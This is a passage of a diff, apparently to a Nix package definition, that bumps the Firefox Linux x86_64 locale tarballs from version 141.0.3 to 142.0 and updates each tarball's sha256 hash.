-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/fr/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/fr/firefox-142.0.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "02405cc92fce9ebc697e4680e26efbb5e2249b819dc019a7117ab7e15e611bb6";
+      sha256 = "587c9bb19db79eb2ebc4243dabb514144746884065588c0ede15df5283f4f5b3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/fur/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/fur/firefox-142.0.tar.xz";
       locale = "fur";
       arch = "linux-x86_64";
-      sha256 = "abdb82d146239caa719bbdd0ea3c93557b228040c59b110268f530c94bcfa007";
+      sha256 = "5e96d08d90c378864f63ba07c4f1328f17f5b79c3b0d49469d77335c31b55c51";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/fy-NL/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/fy-NL/firefox-142.0.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "58b7a105cf0c653a6a6f603680fb6f532db7630721341d5bddfa90b435b40260";
+      sha256 = "b847fb56503ead73435ece318f3a0b95a39c58accccacd5d09345dfa8bde89f7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ga-IE/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ga-IE/firefox-142.0.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "b5cda01f55ad36c7bb831867294daa33774aa6345ad1845935e607851a6a073c";
+      sha256 = "38aa9a55cfd3d41c47fe0a176bb6bbc5214a9801579045d9a62a35a3e64d75f0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/gd/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/gd/firefox-142.0.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "abd1e83a1bd68e30029463ab4e06e16da81c118d884a460b65dbe8888c176b4c";
+      sha256 = "779c07699548e94142a84610ecc45b80d0f7d3e87ad83cdfeb1697cfe6fd9d44";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/gl/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/gl/firefox-142.0.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "193b1a552d54e64beeb53e33eb8d1be8d0d2e399f5921213bddfd277b7e4e99d";
+      sha256 = "2b610417fc4e835b973438367a6dc185ddbd2e855516b1381c1db1a2d735b64e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/gn/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/gn/firefox-142.0.tar.xz";
       locale = "gn";
       arch = "linux-x86_64";
-      sha256 = "e6b7d2d12404f0ecf6b893706df626fd03ecfbc941834c5243de70e28218178c";
+      sha256 = "80f24fc46d9740973ce64ed08f27f95de4589e61ef0ecb67425041acc346dcc6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/gu-IN/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/gu-IN/firefox-142.0.tar.xz";
       locale = "gu-IN";
       arch = "linux-x86_64";
-      sha256 = "2b507c7ef9785ee01c5c6beb1e3333d6436b81b2028d366f171132a6707a585b";
+      sha256 = "fe251ca598869714166e78197b3e877ee62897dcbd77c96866006c4a596578de";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/he/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/he/firefox-142.0.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "d0a00794bfe739ce3592bef7c04e1d4c023ed12053fde3e30777a639672bf6ad";
+      sha256 = "a7be1bf9bd8511f2a989e3d5efc6393d9345f1c5e2d32b9d2cfe1c437bcbfebb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/hi-IN/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/hi-IN/firefox-142.0.tar.xz";
       locale = "hi-IN";
       arch = "linux-x86_64";
-      sha256 = "a726e5c526d431e1db48b1c7c2a7e165a5b4ada21525470767ede11b3ecfd491";
+      sha256 = "f898b3feda7d77cef6118275a952c22152510b59f4421654c845804ffe7b18a4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/hr/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/hr/firefox-142.0.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "1606ad305956ad319b0ed6be93fef16ae1444d4a9580283fc81126cdc42f7490";
+      sha256 = "f79a590a4ea20e3cf7ae409c2e57ffde17a115a190a1041a2ed6b31ef8751a1b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/hsb/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/hsb/firefox-142.0.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "e8903b3e5deba70a9bea38fa76186bfe0127252b72d84e624b4575c523d293f1";
+      sha256 = "8024d111749d767df4f505083ab71e2262588b099401852486b01793801a6f52";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/hu/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/hu/firefox-142.0.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "6b2289c4ebc6a9780ee0e1c45a765e036d5372408a4757b2bafce9a504a37b77";
+      sha256 = "b817751a906dce2fcbe603584519c3d9f5aaf165b42d7d76078cf6e427f7cc4a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/hy-AM/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/hy-AM/firefox-142.0.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "0bb5f079ada3dadb0fc364d194a3272a7bf7fdb2e03cf408e0a16e2aac2e1c58";
+      sha256 = "fa3b3ba641cedb46e407951e54ad0974e42a0a064eda28a381d8d354d1077615";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ia/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ia/firefox-142.0.tar.xz";
       locale = "ia";
       arch = "linux-x86_64";
-      sha256 = "dfcc1f9cddf732589baa8422eea711ca236f36a5a743cf2e6050d7f7762c211a";
+      sha256 = "890ee1b281307a1bb18307d799179810ac8c0c4598cde13743f0071a72d8efd7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/id/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/id/firefox-142.0.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "c0b5fb2ac764622cc3a10aeb60bc483e548d73d35113125fbe66f432bf36220e";
+      sha256 = "91e3559c31afc494e380312c253f2681ed0b0cb2ad6d78239de9d2e5302aa437";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/is/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/is/firefox-142.0.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "91ec6acc0d488eaa203cc76ffd7c7e9e0812761f281a3d3138c56db03a4d7263";
+      sha256 = "40a5d4b7484dac6574569be2516d79a372ba92b9ef02f3c56629bcd8b59772fc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/it/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/it/firefox-142.0.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "c465319d249106d1250c82bf12452d3fa7c6720c34b467783a469491cab2a70a";
+      sha256 = "4ae36b25a62701dd67443ee9c97cffd60b9d05c2d2cefbf0594292929f0d2397";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ja/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ja/firefox-142.0.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "cc85b2392b2d127ee7135155de501d09e005201b8ccef57a70ca38067d7edf0c";
+      sha256 = "7523b6ed419578a9c3a5e5f96ed5d18e3e38f0fe688f4c61652e794d564a895b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ka/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ka/firefox-142.0.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "b1931ccdc07f128cae1aa04589b774b4cc65ac5decb4e34a83c059aace514d2a";
+      sha256 = "58a732e118e661dc6c85b1940e627d0a87e12107b7dae28d6e760672019e5174";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/kab/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/kab/firefox-142.0.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "30876d54903ea9761228ef52325097762a07f4c32e6788dcf1340f4c7a2fe0e7";
+      sha256 = "9b156db9489d37504a82429a0df7ab5932c364bc882c9d18a1ece58454fa6044";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/kk/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/kk/firefox-142.0.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "2e3f5b378e39205927a706a80c4c8bdcd7efa465b7c5183e013fd8943ae51218";
+      sha256 = "014805d500a11d057e01fb359ab14f729b2bc2760d976abfa498b9a737f4b633";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/km/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/km/firefox-142.0.tar.xz";
       locale = "km";
       arch = "linux-x86_64";
-      sha256 = "a70779d314b66fd3d2c49acd3cac2c45ecbf87634f3b307dddfa23c2e04f14b7";
+      sha256 = "6a160215eb1f63737dbf12fd50329e6f9c32fb237e9fda2fe1ccf59391a02518";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/kn/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/kn/firefox-142.0.tar.xz";
       locale = "kn";
       arch = "linux-x86_64";
-      sha256 = "88fcee7e76eb29fd325f12251e025cd5191a50dba5b0b9144cf5950e71cfdebe";
+      sha256 = "ca4a3d58f03065ca5a41dbaaff94593275ea66c88bc86917aa0378c7ec9e5787";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ko/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ko/firefox-142.0.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "8ce7700492e0d560f6aa3d07d96ac86110418ab198dcb7844d80d45a9666bda9";
+      sha256 = "d15029751353b8b5443113f5ddedb2563a76ffd13486657027982aef27f9764b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/lij/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/lij/firefox-142.0.tar.xz";
       locale = "lij";
       arch = "linux-x86_64";
-      sha256 = "6d39d04672163d25ceedea83d1948bb12573861e76a40db7c4028fcb117bafe7";
+      sha256 = "72a2a6196b20637ac5707a8b008a066ccfe7cd5b5effd69004472daf15cd79ab";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/lt/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/lt/firefox-142.0.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "23f76ddb376d0f52b19ea4ddb32a88784f2aa8245c1098b3d7478622f8cefa20";
+      sha256 = "b4d1c58b93deb09ffc3247ca1e41896ec115c4b779d90fec1fc88707019c77a2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/lv/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/lv/firefox-142.0.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "e49bf464dfd0b0c641247fc8d20a0fa9c827ca1038ea0186715616fa252d96c3";
+      sha256 = "333700baaeef92678591a5f475bcab96c56369c3c05ec29b189221351f5d5bc5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/mk/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/mk/firefox-142.0.tar.xz";
       locale = "mk";
       arch = "linux-x86_64";
-      sha256 = "d8d649d47b2ed665bc282ee5a84859d5d8d9535fb5404bc9cb532b29dccc472c";
+      sha256 = "e964be73f05d573a73dfbc1ae7b91874045264a98268debea93c73c3257dd5ba";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/mr/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/mr/firefox-142.0.tar.xz";
       locale = "mr";
       arch = "linux-x86_64";
-      sha256 = "b68caed75fd5ca5d2d6133c33cc962ec48f30e6f0a1eeade2238d80087f8c5f0";
+      sha256 = "0e835694db9b4dcf7a1bd1e660b9a9ae4674a68aba1ccabece9171200c2a48e5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ms/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ms/firefox-142.0.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "234b1f31cf6e62cc2623d0c12b796103c3acc4062e6f34f80c5bbfe90c403023";
+      sha256 = "120ec06da676f32673028204d3b90d31a3cc1ed89a654b58a3aa79e0c638f38a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/my/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/my/firefox-142.0.tar.xz";
       locale = "my";
       arch = "linux-x86_64";
-      sha256 = "967fbaf3be42b7b6eb4ba5835efa1e65a4d0125af0245aec9ab87f68c343e434";
+      sha256 = "711884e25a99c139d0e8ed06f16d581b2975fffb54e1e76026344f640bec6706";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/nb-NO/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/nb-NO/firefox-142.0.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "8337db76591abb2072024762d03fe28124caa1a9605e89c7b7a85e35353cbe61";
+      sha256 = "7c94754b50b523887ccd8931181d34f0a113390de40c090cb6d13b1e0dee2524";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ne-NP/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ne-NP/firefox-142.0.tar.xz";
       locale = "ne-NP";
       arch = "linux-x86_64";
-      sha256 = "f4c9726d7ce21dd3b70936563efbc8bf783e3d84da2a2762cbe8e416877d3ed1";
+      sha256 = "41a2d302ec4a2c0cb30e36cf325e89f19bb1ff25a2f96e494b14f1578ccc78fd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/nl/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/nl/firefox-142.0.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "8a04a89d515278c2d5d3741dcee78cbb2680b7f2626035f686f4f4c4234b58e1";
+      sha256 = "247dec3c13da214027d5b48837c145d573891c6a1371ba8926a2bcc4be65b751";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/nn-NO/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/nn-NO/firefox-142.0.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "85cd04b5bd0c2ceebb59b4f445c4a0cfaedb4c4b4b9a9396c391f88829af2915";
+      sha256 = "b57a14eab995933d3d940dcbab2dc5240dd903578be6e4ddb145e16076ddeeeb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/oc/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/oc/firefox-142.0.tar.xz";
       locale = "oc";
       arch = "linux-x86_64";
-      sha256 = "0630f27847f064e3aa2c95e572d842e9de3ac33b4b3b2595ea4801ae0c0f4ddf";
+      sha256 = "009ed4a141a5786a057267e4e36defd2844a17282edc13265a838a1716ebfc36";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/pa-IN/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/pa-IN/firefox-142.0.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "451c8936508fc4fe6d15c80ed8caeeb6c988ef714c8c0cde05db1247d3b805f3";
+      sha256 = "aa64c7d7c3cdd8de4a16da60b25f09494c47e4aa17add61d8ecc9e9926c92567";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/pl/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/pl/firefox-142.0.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "4e9b8f2a222f661db29476e24dd6a2ad3d44048a5fb8989791f7ce2ed9ad0a00";
+      sha256 = "51c0acceeee93f3125d64eaf3626be297da3ebe7997cd850056b13f4c161ee3f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/pt-BR/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/pt-BR/firefox-142.0.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "952a8006048609953750d844b946cceb64a3ce4d19c28a21c655573d686516f2";
+      sha256 = "46be026a9a453aa4d882652040a07f8fe0acacd8cf61e4967bb488c36e23b0e8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/pt-PT/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/pt-PT/firefox-142.0.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "e0222e499f2aaaf1bbde67024548acb01a5a801a2fa9cf20e6ead985b57bf008";
+      sha256 = "54a827e362ba0903077cfd4d331d3a3387a2b5e0b7ee04b9141963b872e44672";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/rm/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/rm/firefox-142.0.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "cc5a1b6315bb7a4c5e0ff2d5f1d7c016e2a04166be5e403a1245c2e94e5773f4";
+      sha256 = "8e365d64a7a9fbd2954e9ae366ebfbd4cd94f82b77a0c4af184911481d89f456";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ro/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ro/firefox-142.0.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "6186daea4314e9598123c5089c21cf16bd3a0a06daf202eb74b1fb82cc63c6d4";
+      sha256 = "ca780d538f0f96a269e3eb41cf0de0740ddd1602534f0a08ac0e34bf8b0b3284";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ru/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ru/firefox-142.0.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "e132dedfc3162525b55264dbf44cb0cbed144bbffc1f809543b4a6fc97b8a3cb";
+      sha256 = "105cbd709553de005c3f7828dd7b1e2c1320d8398462447fe408878c72a9312a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/sat/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/sat/firefox-142.0.tar.xz";
       locale = "sat";
       arch = "linux-x86_64";
-      sha256 = "2ecdf78b2d37fcdaa446cd11e3b8dacf568636e53b21411d82a116435eec502c";
+      sha256 = "3850174c7b2f5ec333247c2694949e5eb554e0424a10ef2bdb21853f77d0d720";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/sc/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/sc/firefox-142.0.tar.xz";
       locale = "sc";
       arch = "linux-x86_64";
-      sha256 = "0d7c129a54df727e424985085aa9244db225b35834cc10db558a0777a78d3354";
+      sha256 = "b2090afa84c4449fb87e2f0c71720da55b209f43ebe4b4489d2e00724908de16";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/sco/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/sco/firefox-142.0.tar.xz";
       locale = "sco";
       arch = "linux-x86_64";
-      sha256 = "cbca9d3ee3b188d0cfe8fe22047c0b4e1c2a60d54c56e8a33f5b6d56a6ec4933";
+      sha256 = "e5c13cf87aee1e06723fc3766a2ff96772fd7dffcedda80a2ee52a69ac7c45f7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/si/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/si/firefox-142.0.tar.xz";
       locale = "si";
       arch = "linux-x86_64";
-      sha256 = "65f2153b2e9d84aef26d32e5996549fe28352d5562f8e3b9c436f26267e71b3b";
+      sha256 = "6447693b7dca2ffb282073e6a0142be2eeb43b22c3ad70c23e1b77e137ddd153";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/sk/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/sk/firefox-142.0.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "31bdef610c0981dde69ff5fc6b52bc47c13959593732e43d9e9a023163dfdaac";
+      sha256 = "3bc2a3f3e5af935a48253ee3d318cd97a41fc0712ebfa9fc1d9790a868065da6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/skr/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/skr/firefox-142.0.tar.xz";
       locale = "skr";
       arch = "linux-x86_64";
-      sha256 = "a2c8243c422bd59345c827bf21dbd547bc90d4a910d7a980b499ced6d1f7f4e8";
+      sha256 = "4b56fcc03f7101dd92f05021a9a0335ac4b6f3c800e4ccbec261b504243d1aec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/sl/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/sl/firefox-142.0.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "39a7c3a9c39ca27d1f74c91820eb99bbbb343606c701c3bac262aa7f36f8aa91";
+      sha256 = "4ff34389bd3c41aed9e7fbc7eacdfeedba1cb2dd47a6e7683fb19a5356786cd7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/son/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/son/firefox-142.0.tar.xz";
       locale = "son";
       arch = "linux-x86_64";
-      sha256 = "5d6e3a82abf8ab47a79d172346fcd2f0776eb03e241a48925249bbcb876ad95f";
+      sha256 = "74fb0405402e590c0d61b9c5088cb7cda1c2ef85463c3c971c17f189b5fbb8be";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/sq/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/sq/firefox-142.0.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "ef0d73a552521da111a7e5d656431e6ea41c9b5ea6a2588daf70511f2c9d7ed0";
+      sha256 = "0f64d1b9a1a5c2b1943281737f52fec1243b1d4608628e5c5d7dcbfbd498f72d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/sr/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/sr/firefox-142.0.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "6b1b550a3264ac2a6f38a495483df69233da8b69359e95a994d69ec6fb34f207";
+      sha256 = "d9987ab490f232327d0aa43f02efa0912b66fff9b8c25171afcd7f4b50addc7f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/sv-SE/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/sv-SE/firefox-142.0.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "fca7ee95852ae2e035501cc6bb9bc5209c50aec1b99e04594885731c541c9ef7";
+      sha256 = "2a332785288057d97da6e35683538102c89009e4a0f513fde375bee5534b7ff2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/szl/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/szl/firefox-142.0.tar.xz";
       locale = "szl";
       arch = "linux-x86_64";
-      sha256 = "c3c4786dd3e67fa218bde85acd35da7080a675ea1620b3e843e7d0078473d83c";
+      sha256 = "3ce788078efac5a9e9e2d71032f0a66e75e15b7917bcd1a94d1317aa3c2affab";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ta/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ta/firefox-142.0.tar.xz";
       locale = "ta";
       arch = "linux-x86_64";
-      sha256 = "a4ddd375e6eaea0dcbd780cdc3b3adffaa54c911cedcedd794f09b9f72dcb890";
+      sha256 = "3bee43ee483a17fb065b462fd913b5d5d805edacdbcb944954f4e99a093e43b6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/te/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/te/firefox-142.0.tar.xz";
       locale = "te";
       arch = "linux-x86_64";
-      sha256 = "07dbf1ede2211fb3e40ea5b0d385f9db4fc3db9f6731cfeb2ee6879cd0e9f8a0";
+      sha256 = "2ad61bc631e07ab5c7ef9b52596f0b18dc314ef8eef78568e14a01de08ffd4fd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/tg/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/tg/firefox-142.0.tar.xz";
       locale = "tg";
       arch = "linux-x86_64";
-      sha256 = "bb525b288b4675fee1bd4ae8ef9ef257f67d2aed6b7f55bad521554950dcea4e";
+      sha256 = "782eaeef612c200c1301e6850f659925fb2b24ff8a00f1f79160a62eb25a855d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/th/firefox-141.0.3.tar.xz";
